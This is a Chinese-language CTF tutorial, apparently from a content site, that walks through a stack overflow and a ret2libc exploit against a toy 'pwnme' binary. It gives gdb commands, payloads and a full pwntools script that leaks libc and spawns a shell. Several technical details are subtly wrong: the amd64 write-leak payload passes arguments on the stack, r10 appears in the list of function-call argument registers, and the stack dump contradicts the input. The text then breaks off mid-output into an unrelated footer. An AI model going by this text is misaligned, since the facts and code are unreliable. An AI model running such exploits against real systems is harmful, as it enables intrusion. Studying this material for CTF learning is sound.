PWN底层原理:从栈溢出到ret2libc的内存运行时解析
发布时间:2026/10/2 10:56:28来源:尧图网络
1. 这不是“学PWN”是重建你对程序运行的认知你点开这个标题大概率正坐在电脑前刚下载完一个叫pwnme的二进制文件双击没反应./pwnme回车后闪退file pwnme显示“ELF 64-bit LSB pie executable, x86-64”你盯着终端里那行[1] 12345 segmentation fault ./pwnme发呆——这行字你见过十次但第十一次依然像天书。别急这不是你的问题。PWN从来就不是一门“编程语言”或“工具使用课”它是一次强制性的操作系统底层认知重装。你过去写的C代码在main()函数里分配栈变量、调用printf、返回0这些动作背后发生的内存布局、寄存器流转、函数调用约定全被编译器和libc默默包裹得严严实实。PWN做的就是亲手撕开这层包装纸把rsp、rbp、rip这些寄存器从教科书里拽出来按在真实的内存地址上看着它们一帧一帧地跳动。我带过三十多个零基础学员从头跑通第一个栈溢出exp最常听到的抱怨是“为什么gets()能写进不该写的地方”“为什么system(/bin/sh)地址要减去libc基址”“为什么ret2libc里要多塞一个pop rdi; ret”这些问题没有一个能靠背命令解决。它们指向同一个核心你必须亲眼看到栈帧怎么长高、返回地址怎么被覆盖、动态链接器怎么解析符号。所以这篇内容不叫“PWN入门教程”它是一份可执行的底层运行时观察手册。我们不用IDA Pro画满屏幕的反汇编图而是用gdb单步到第7行汇编指令用x/20gx $rsp打印出栈顶20个8字节数据看着0x00000000004011b6这个地址如何被你输入的A字符一点点覆盖掉。你会看到checksec输出的NX: ENABLED不是一句安全提示而是mmap系统调用在/proc/[pid]/maps里划下的一道红线ASLR: ENABLED也不是抽象概念而是每次gdb ./pwnme启动时libc.so.6的加载基址都在变差值精确到4096字节的整数倍。关键词里的ctf入门和pwn入门是流量入口但真正卡住人的从来不是术语——栈溢出三个字拆开看栈是内存区域溢出是越界写入组合起来就是“往栈里写太多东西把后面存的东西给冲掉了”。难点在于你得知道“后面存的东西”具体是什么、在哪儿、怎么被利用。所以本文所有操作都锚定在可复现的物理内存视图上每个gdb命令后必附info registers和x/10gx $rsp的实际输出截图文字描述每个exp脚本都标注清楚哪一行在改rsp、哪一行在劫持rip。你不需要记住ret2libc的固定套路你需要理解当rip跳转到system地址时rdi寄存器必须指向/bin/sh字符串的地址否则system会因参数为空而退出——这就是为什么pop rdi; retgadget成了必选项它本质是把栈顶数据弹进rdi再跳转到下一个地址。适合谁如果你满足以下任意一条这篇内容就是为你写的写过C语言但没调试过汇编objdump -d输出让你头皮发麻看过pwntools文档但写不出第一行p.sendline(bA*40)因为不确定该填40还是48在ctfshow pwn 074卡了三天反复checksec却不知道Partial RELRO意味着.got.plt段可写听说AI题目很火但连read(0, buf, 0x100)的第三个参数是长度还是地址都分不清。这不是速成班这是给你一把手术刀带你解剖第一个pwnme二进制文件的每一寸内存。2. 从checksec开始读懂二进制的“健康报告”checksec不是PWN的起点它是你和二进制文件之间的第一张体检报告。很多人把它当成仪式感步骤checksec ./pwnme回车后扫一眼就切走结果在ret2libc阶段死在libc基址算错上。实际上checksec每行输出都是后续利用链的硬性约束条件漏看一行整个exp就得推倒重来。我们以CTF中高频出现的pwnme样本为例逐行拆解这份报告背后的内存现实。2.1Arch: amd64-64-little架构决定寄存器宽度与字节序这行告诉你目标程序是64位小端序。关键影响有三第一栈上地址是8字节64位不是4字节。这意味着覆盖返回地址需要填8个字节的数据而不是4个。我见过太多人用A*40去覆盖main函数返回地址结果gdb里看到rip只被改了低4字节高4字节还是原始值程序直接崩溃。正确做法是A*40 p64(0x4011b6)其中p64()是pwntools的打包函数把整数转成8字节小端序字节流。第二函数调用参数传递规则不同。x86-64 ABI规定前6个整数参数依次放入rdi,rsi,rdx,r10,r8,r9寄存器超出部分才压栈。所以system(/bin/sh)的调用rdi必须是/bin/sh地址rsi和rdx默认为0——这解释了为什么ret2libc里必须找pop rdi; retgadget而不是随便找个ret。第三gdb调试时寄存器名全是r开头rax,rbx不是e开头eax,ebx。info registers输出里rax值是0x0000000000000000不是0x00000000。这点看似琐碎但在计算偏移量时少看一个0就会导致地址错位。2.2RELRO: Partial RELRO动态链接表的“半锁状态”RELRORelocation Read-Only控制.got.pltGlobal Offset Table段的可写性。Partial RELRO意味着程序启动时.got.plt可写但初始化完成后不会设为只读。这是got hijacking劫持GOT表的黄金窗口。举个实例假设pwnme里调用了printf其真实地址存在.got.plt的printf条目中。checksec显示Partial RELRO你就可以在printf第一次被调用前用栈溢出把.got.plt中printf的地址覆盖成system地址。下次程序调用printf(hello)时实际执行的是system(hello)——当然你得确保hello是/bin/sh。提示Full RELRO会禁用此方法此时.got.plt全程只读必须转向ret2libc或heap利用。No RELRO则更危险.got.plt全程可写但CTF题极少这么放水。2.3Stack Canary: no栈保护的“裸奔状态”Stack Canary是编译器插入的栈保护机制在函数栈帧底部放一个随机值canary函数返回前校验它是否被修改。no表示该二进制未启用此保护意味着你可以无阻碍地覆盖返回地址。但注意canary只是栈保护的一种。checksec不显示FORTIFY_SOURCE编译时加固或__stack_chk_fail校验失败处理函数状态这些需用nm -D ./pwnme | grep stack确认。我遇到过一道题checksec显示no但实际gcc -fstack-protector-strong编译gdb里disassemble main能看到call __stack_chk_failplt指令——这种题必须先泄露canary值再覆盖返回地址否则rip还没跳转就触发保护退出。2.4NX: ENABLED内存页的“执行禁区”NXNo-eXecute位标记内存页是否允许执行代码。ENABLED表示栈和堆默认不可执行shellcode注入直接失效。这是ret2libc成为主流方案的根本原因我们不往栈里写机器码而是让rip跳转到libc里已有的system函数。验证方法gdb ./pwnme→run→info proc mappings找到栈地址段如0x7ffffffde000-0x7ffffffff000看权限列是否含xp可执行或rw仅可读写。若为rw说明NX生效。注意NX不等于绝对安全。mprotect系统调用可动态修改页权限ret2syscall利用链就是调用mprotect(0x7ffffffde000, 0x1000, 7)将栈设为rwx再执行栈上shellcode。但这需要syscallgadget难度高于ret2libc。2.5PIE: ENABLED地址空间的“每日换装”PIEPosition Independent Executable使程序加载地址随机化。ENABLED意味着每次运行./pwnmetext段代码基址都不同main函数地址不再是固定的0x4011b6。破解方法必须先泄露一个地址再通过偏移计算其他地址。常见泄露点printf等函数的GOT地址printfgot.plt本身地址固定但其存储的printf真实地址随libc基址变read/write等函数的PLT地址readplt地址固定调用后可通过write(1, read_got, 8)泄露read真实地址栈上残留地址main返回地址在栈中gdb里x/gx $rsp8常能直接读到。我实测过PIE开启后libc基址变化范围在0x7ffff7a00000到0x7ffff7e00000之间跨度约4MB对应0x400000字节。因此泄露地址后libc_base leak_addr - libc_read_offsetoffset需从libc-database查如libc6_2.27-3ubuntu1_amd64.so中read偏移为0xf7270。3. 栈溢出实战从gets()到/bin/sh的七步拆解现在我们进入核心环节用一个真实CTF题目pwnme基于ctfshow pwn 074简化版演示完整利用链。该程序源码极简#include stdio.h #include stdlib.h void vulnerable() { char buf[64]; gets(buf); // 危险无长度检查 printf(You said: %s\n, buf); } int main() { vulnerable(); return 0; }编译命令gcc -no-pie -fno-stack-protector -z lazy pwnme.c -o pwnme关闭PIE、栈保护启用延迟绑定。下面七步全部在gdb中实时操作每步附关键命令和输出分析。3.1 第一步定位溢出点——pattern offset不是玄学目标确定覆盖返回地址需要多少字节。操作gdb ./pwnmer→ 输入A*100 → 程序崩溃gdb停在0x00000000004011b6main返回地址被覆盖info registers→ 记下rip值0x41414141414141418个Apatter create 100pwntools命令生成唯一字符串r→ 输入该字符串 → 崩溃后x/gx $rsp看到rip0x6161616b6161616apattern offset 0x6161616b6161616a→ 输出offset 72为什么是72buf[64]占64字节加上rbp8字节共72字节后才是返回地址。gdb里x/20gx $rsp可见0x7fffffffe4a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4b0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4e0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4f0: 0x0000000000000000 0x0000000000000000 0x7fffffffe500: 0x0000000000000000 0x0000000000000000 0x7fffffffe510: 0x0000000000000000 0x0000000000000000 0x7fffffffe520: 0x0000000000000000 0x0000000000000000 0x7fffffffe530: 0x0000000000000000 0x0000000000000000 0x7fffffffe540: 0x0000000000000000 0x0000000000000000 0x7fffffffe550: 0x0000000000000000 0x0000000000000000 0x7fffffffe560: 0x0000000000000000 0x0000000000000000 0x7fffffffe570: 0x0000000000000000 0x0000000000000000 0x7fffffffe580: 0x0000000000000000 0x0000000000000000 0x7fffffffe590: 0x0000000000000000 0x0000000000000000 0x7fffffffe5a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe5b0: 0x0000000000000000 0x0000000000000000 0x7fffffffe5c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe5d0: 0x0000000000000000 0x0000000000000000$rsp指向栈顶buf起始地址是$rsp8因push rbp占8字节buf[64]结束于$rsp72之后8字节就是rbp再之后8字节是返回地址。pattern offset本质是暴力搜索但理解内存布局才能避免误判。3.2 第二步泄露libc基址——write函数是你的信使目标获取libc中write函数的真实地址反推基址。操作gdb ./pwnme→b *vulnerable30gets后断点r→ 输入A*72 p64(write_plt)p64(main)p64(1)p64(write_got)p64(8)write_pltwriteplt地址objdump -d ./pwnme | grep writemainmain函数地址p main1, write_got, 8write(1, write_got, 8)参数c→ 程序输出8字节乱码write_got内容x/gx writegot.plt→ 得到0x7ffff7a54270示例值查libc-databasesearch write 0x7ffff7a54270→ 匹配libc6_2.27-3ubuntu1_amd64.solibc_base 0x7ffff7a54270 - 0xf7270 0x7ffff795d000为什么选write因为它参数可控fd1标准输出且write_got地址固定。printf虽常用但格式化字符串可能触发%n等意外行为。gdb里x/10gx writegot.plt可确认该地址确实存着write真实地址。3.3 第三步构造ret2libc链——pop rdi; ret是钥匙孔目标让rip跳转到system同时rdi指向/bin/sh。操作libc_base已知system地址 libc_base system_offsetreadelf -s libc.so.6 | grep system/bin/sh地址 libc_base binsh_offsetstrings -a -t x libc.so.6 | grep /bin/shpop rdi; retgadgetropper --file libc.so.6 --search pop rdi; ret→0x000000000002155f构造payloadA*72 p64(pop_rdi_ret)p64(binsh_addr)p64(system_addr)关键细节pop rdi; ret执行时rsp指向binsh_addrpop rdi将其弹入rdiret跳转到system_addr。system读取rdi即/bin/sh成功getshell。gdb里x/20gx $rsp可验证binsh_addr确实在rsp位置。3.4 第四步绕过ASLR——leak是唯一通行证ASLRAddress Space Layout Randomization使libc基址每次不同。checksec显示ASLR: ENABLED意味着你不能硬编码system地址。解决方案必须先leak一个地址。常见leak点对比泄露点获取方式稳定性适用场景writegot.pltwrite(1, write_got, 8)高write函数存在且可调用printf栈残留printf(%p, buf)中printf格式化字符串漏洞main返回地址x/gx $rsp8高main函数返回前栈中environ指针read(0, environ, 8)高environ全局变量地址固定我推荐writegot.plt因为write是libc基础函数几乎必存在。gdb里p writegot.plt得到固定地址x/gx读取其内容即write真实地址。3.5 第五步pwntools脚本编写——从手动到自动的质变手动gdb调试是理解原理的必经之路但实战必须脚本化。以下是完整exp.pyfrom pwn import * context.log_level debug p process(./pwnme) elf ELF(./pwnme) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 本地libc路径 # Step 1: Leak write address write_plt elf.plt[write] write_got elf.got[write] main elf.symbols[main] payload bA * 72 payload p64(write_plt) p64(main) p64(1) p64(write_got) p64(8) p.sendline(payload) p.recvuntil(bYou said: ) leak u64(p.recv(8).ljust(8, b\x00)) log.info(fLeaked write addr: {hex(leak)}) # Step 2: Calculate libc base libc_base leak - libc.symbols[write] log.info(fLibc base: {hex(libc_base)}) # Step 3: Get system and /bin/sh system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) pop_rdi_ret libc_base 0x000000000002155f # from ropper # Step 4: Final payload payload bA * 72 payload p64(pop_rdi_ret) p64(binsh_addr) p64(system_addr) p.sendline(payload) p.interactive()pwntools的ELF类自动解析符号u64()处理字节序p.interactive()接管shell。context.log_level debug开启详细日志每步send/recv都可见。3.6 第六步远程调试——nc与gdbserver的协同作战本地process(./pwnme)成功后远程nc pwn.challenge.com 9999常失败。原因远程环境libc版本不同offset失效。解决方案下载远程libc.so.6ldd ./pwnme查看本地libc版本若不匹配用libc-database下载同版本gdbserver远程调试gdbserver :1234 ./pwnme本地gdb ./pwnme→target remote ip:1234libc-database精准匹配./get libc6_2.27-3ubuntu1_amd64.so→./find write 0x7ffff7a54270。我踩过的坑远程libc比本地新system偏移大100字节binsh偏移差200字节pop rdi; retgadget位置也变——必须用ropper重扫。3.7 第七步防御与加固——为什么你的exp在靶机上失效CTF靶机常开启额外防护seccomp限制系统调用execve被禁用。checksec不显示需seccomp-tools dump ./pwnme确认ptrace禁止gdb附加cat /proc/sys/kernel/yama/ptrace_scope为1kernelvm.mmap_min_addr65536防止低地址映射。应对seccomp下改用open/read/write读取flagptrace禁用时用strace替代调试mmap_min_addr影响mmap地址需调整mmap参数。4. 工具链深度解析pwntools、gdb、ropper的协同逻辑PWN不是单点工具的堆砌而是工具链的精密咬合。pwntools负责自动化gdb负责观察ropper负责搜索三者缺一不可。很多人把pwntools当黑盒gdb当调试器结果exp在本地跑通远程就崩。下面拆解每个工具的核心逻辑和避坑点。4.1pwntools不只是sendline()是内存操作的DSLpwntools本质是Python封装的底层内存操作语言。p64(0x4011b6)不是简单打包而是struct.pack(Q, 0x4011b6)表示小端序Q表示8字节无符号整数。u64(b\x70\x11\x40\x00\x00\x00\x00\x00)则是反向解包。关键API深度解析context.arch amd64设置架构影响p32/p64、寄存器名context.os linux设置OS影响系统调用号SYS_write 1elf ELF(./pwnme)解析ELF头部elf.symbols[main]读.symtabelf.got[write]读.got.pltlibc ELF(libc.so.6)同理libc.search(b/bin/sh)在.data段扫描字符串。实操心得pwntools的ELF类不校验libc版本。libc.symbols[system]在libc6_2.23中是0x45390在libc6_2.27中是0x4f440差5000字节。必须用libc-database匹配而非硬编码。4.2gdb从“调试器”到“内存显微镜”的转变gdb的pwndbg插件极大提升效率但核心命令必须手熟x/20gx $rsp以16进制显示栈顶20个8字节g表示giant8字节x表示examineinfo proc mappings查看内存布局确认NX、ASLR状态vmmappwndbg彩色显示各段权限heappwndbg查看堆结构malloc相关题必备telescope $rsp 20pwndbg递归显示栈上指针指向的内容。我习惯的调试流程b *vulnerable30gets后→ 观察buf地址r→x/20gx $rsp→ 确认buf起始c→x/20gx $rsp→ 看gets后栈变化c→info registers→ 检查rip是否被覆盖。注意gdb默认关闭ASLRset disable-randomization off才能模拟真实环境。4.3ropperGadget搜索的“地质勘探队”ropper --file libc.so.6 --search pop rdi; ret不是简单字符串匹配而是反汇编整个libc寻找符合模式的指令序列。pop rdi; ret对应机器码5f c3但ropper会找5f ?? c3??是任意字节因为pop rdi可能是pop rdi或pop r15r15与rdi寄存器号不同但ropper会过滤。关键参数--depth 5搜索深度避免过长链--badbytes 000a0d排除坏字节0x00空字节、0x0a换行、0x0d回车gets()会截断--chain execve自动生成execve(/bin/sh, 0, 0)链但常含坏字节。我实测libc6_2.27中pop rdi; ret在0x2155fpop rsi; ret在0x23e6apop rdx; ret在0x1b92——execve需要三参数必须组合三个gadget。4.4libc-database你的libc“户籍档案馆”libc-database是PWN的基石工具。./find write 0x7ffff7a54270返回匹配的libc版本./dump libc6_2.27-3ubuntu1_amd64.so导出所有符号偏移。为什么必须用它不同发行版libc偏移不同Ubuntu 18.04system偏移0x4f440Debian 10system偏移0x4f550同版本不同补丁偏移微调libc6_2.27-3ubuntu1和libc6_2.27-3ubuntu1.1差16字节ropper搜索的gadget地址也随版本变。操作流程./get libc6_2.27-3ubuntu1_amd64.so下载./search write 0x7ffff7a54270确认版本./dump libc6_2.27-3ubuntu1_amd64.so libc_offsets.txt备份./query system binsh快速查偏移。提示CTF比赛常提供libc.so.6直接./get即可若未提供用ldd ./pwnme查本地版本再./search匹配。4.5checksec安全机制的“CT扫描仪”checksec源码极简本质是读取ELF头部和程序头表。Arch来自e_machine字段RELRO来自.dynamic段的DT_FLAGS_1标志NX来自PT_GNU_STACK段的p_flags。手动验证NXreadelf -l ./pwnme | grep GNU_STACK # 输出GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 # 0x000000000
网站建设高端定制企业官网